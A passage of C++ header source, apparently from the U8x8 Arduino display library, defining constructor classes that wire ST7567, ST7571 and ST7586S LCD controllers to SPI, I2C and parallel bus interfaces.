U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_122x32, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_ST7567_122X32_3W_HW_SPI : public U8X8 { public: U8X8_ST7567_122X32_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_122x32, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_ST7567_122X32_6800 : public U8X8 { public: U8X8_ST7567_122X32_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_122x32, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7567_122X32_8080 : public U8X8 { public: U8X8_ST7567_122X32_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_122x32, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7567_122X32_SW_I2C : public U8X8 { public: U8X8_ST7567_122X32_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_122x32, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_ST7567_122X32_HW_I2C : public U8X8 { public: U8X8_ST7567_122X32_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_122x32, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_ST7567_122X32_2ND_HW_I2C : public U8X8 { public: U8X8_ST7567_122X32_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_122x32, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_ST7567_64X32_4W_SW_SPI : public U8X8 { public: U8X8_ST7567_64X32_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_64x32, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_ST7567_64X32_4W_HW_SPI : public U8X8 { public: U8X8_ST7567_64X32_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_64x32, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7567_64X32_2ND_4W_HW_SPI : public U8X8 { public: U8X8_ST7567_64X32_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_64x32, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7567_64X32_3W_SW_SPI : public U8X8 { public: U8X8_ST7567_64X32_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_64x32, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_ST7567_64X32_3W_HW_SPI : public U8X8 { public: U8X8_ST7567_64X32_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_64x32, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_ST7567_64X32_6800 : public U8X8 { public: U8X8_ST7567_64X32_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_64x32, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7567_64X32_8080 : public U8X8 { public: U8X8_ST7567_64X32_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_64x32, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7567_HEM6432_4W_SW_SPI : public U8X8 { public: U8X8_ST7567_HEM6432_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_hem6432, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_ST7567_HEM6432_4W_HW_SPI : public U8X8 { public: U8X8_ST7567_HEM6432_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_hem6432, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7567_HEM6432_2ND_4W_HW_SPI : public U8X8 { public: U8X8_ST7567_HEM6432_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_hem6432, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7567_HEM6432_3W_SW_SPI : public U8X8 { public: U8X8_ST7567_HEM6432_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_hem6432, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_ST7567_HEM6432_3W_HW_SPI : public U8X8 { public: U8X8_ST7567_HEM6432_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_hem6432, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_ST7567_HEM6432_6800 : public U8X8 { public: U8X8_ST7567_HEM6432_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_hem6432, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7567_HEM6432_8080 : public U8X8 { public: U8X8_ST7567_HEM6432_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_hem6432, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7567_64X32_SW_I2C : public U8X8 { public: U8X8_ST7567_64X32_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_64x32, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_ST7567_64X32_HW_I2C : public U8X8 { public: U8X8_ST7567_64X32_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_64x32, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_ST7567_64X32_2ND_HW_I2C : public U8X8 { public: U8X8_ST7567_64X32_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_64x32, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_ST7567_HEM6432_SW_I2C : public U8X8 { public: U8X8_ST7567_HEM6432_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_hem6432, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_ST7567_HEM6432_HW_I2C : public U8X8 { public: U8X8_ST7567_HEM6432_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_hem6432, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_ST7567_HEM6432_2ND_HW_I2C : public U8X8 { public: U8X8_ST7567_HEM6432_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7567_hem6432, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_ST7571_128X128_4W_SW_SPI : public U8X8 { public: U8X8_ST7571_128X128_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7571_128x128, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_ST7571_128X128_4W_HW_SPI : public U8X8 { public: U8X8_ST7571_128X128_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7571_128x128, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7571_128X128_2ND_4W_HW_SPI : public U8X8 { public: U8X8_ST7571_128X128_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7571_128x128, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7571_128X128_6800 : public U8X8 { public: U8X8_ST7571_128X128_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7571_128x128, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7571_128X128_8080 : public U8X8 { public: U8X8_ST7571_128X128_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7571_128x128, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7571_128X128_SW_I2C : public U8X8 { public: U8X8_ST7571_128X128_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7571_128x128, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_ST7571_128X128_HW_I2C : public U8X8 { public: U8X8_ST7571_128X128_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7571_128x128, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_ST7571_128X128_2ND_HW_I2C : public U8X8 { public: U8X8_ST7571_128X128_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7571_128x128, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_ST7571_128X96_4W_SW_SPI : public U8X8 { public: U8X8_ST7571_128X96_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7571_128x96, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_ST7571_128X96_4W_HW_SPI : public U8X8 { public: U8X8_ST7571_128X96_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7571_128x96, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7571_128X96_2ND_4W_HW_SPI : public U8X8 { public: U8X8_ST7571_128X96_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7571_128x96, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7571_128X96_6800 : public U8X8 { public: U8X8_ST7571_128X96_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7571_128x96, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7571_128X96_8080 : public U8X8 { public: U8X8_ST7571_128X96_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7571_128x96, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7571_128X96_SW_I2C : public U8X8 { public: U8X8_ST7571_128X96_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7571_128x96, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_ST7571_128X96_HW_I2C : public U8X8 { public: U8X8_ST7571_128X96_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7571_128x96, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_ST7571_128X96_2ND_HW_I2C : public U8X8 { public: U8X8_ST7571_128X96_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7571_128x96, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_ST7586S_S028HN118A_4W_SW_SPI : public U8X8 { public: U8X8_ST7586S_S028HN118A_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7586s_s028hn118a, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_ST7586S_S028HN118A_4W_HW_SPI : public U8X8 { public: U8X8_ST7586S_S028HN118A_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7586s_s028hn118a, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7586S_S028HN118A_2ND_4W_HW_SPI : public U8X8 { public: U8X8_ST7586S_S028HN118A_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7586s_s028hn118a, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7586S_JLX384160_4W_SW_SPI : public U8X8 { public: U8X8_ST7586S_JLX384160_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7586s_jlx384160, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_ST7586S_JLX384160_4W_HW_SPI : public U8X8 { public: U8X8_ST7586S_JLX384160_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7586s_jlx384160, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7586S_JLX384160_2ND_4W_HW_SPI : public U8X8 { public: U8X8_ST7586S_JLX384160_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7586s_jlx384160, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7586S_ERC240160_4W_SW_SPI : public U8X8 { public: U8X8_ST7586S_ERC240160_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7586s_erc240160, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_ST7586S_ERC240160_4W_HW_SPI : public U8X8 { public: U8X8_ST7586S_ERC240160_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7586s_erc240160, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7586S_ERC240160_2ND_4W_HW_SPI : public U8X8 { public: U8X8_ST7586S_ERC240160_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7586s_erc240160, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7586S_ERC240160_3W_SW_SPI : public U8X8 { public: U8X8_ST7586S_ERC240160_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7586s_erc240160, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_ST7586S_ERC240160_3W_HW_SPI : public U8X8 { public: U8X8_ST7586S_ERC240160_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7586s_erc240160, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_ST7586S_ERC240160_6800 : public U8X8 { public: U8X8_ST7586S_ERC240160_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7586s_erc240160, u8x8_cad_011, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7586S_ERC240160_8080 : public U8X8 { public: U8X8_ST7586S_ERC240160_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7586s_erc240160, u8x8_cad_011, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7586S_YMC240160_4W_SW_SPI : public U8X8 { public: U8X8_ST7586S_YMC240160_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7586s_ymc240160, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_ST7586S_YMC240160_4W_HW_SPI : public U8X8 { public: U8X8_ST7586S_YMC240160_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7586s_ymc240160, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7586S_YMC240160_2ND_4W_HW_SPI : public U8X8 { public: U8X8_ST7586S_YMC240160_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7586s_ymc240160, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST7586S_YMC240160_3W_SW_SPI : public U8X8 { public: U8X8_ST7586S_YMC240160_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7586s_ymc240160, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_ST7586S_YMC240160_3W_HW_SPI : public U8X8 { public: U8X8_ST7586S_YMC240160_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7586s_ymc240160, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_ST7586S_YMC240160_6800 : public U8X8 { public: U8X8_ST7586S_YMC240160_6800(uint8_t d0, uint8_t d1, 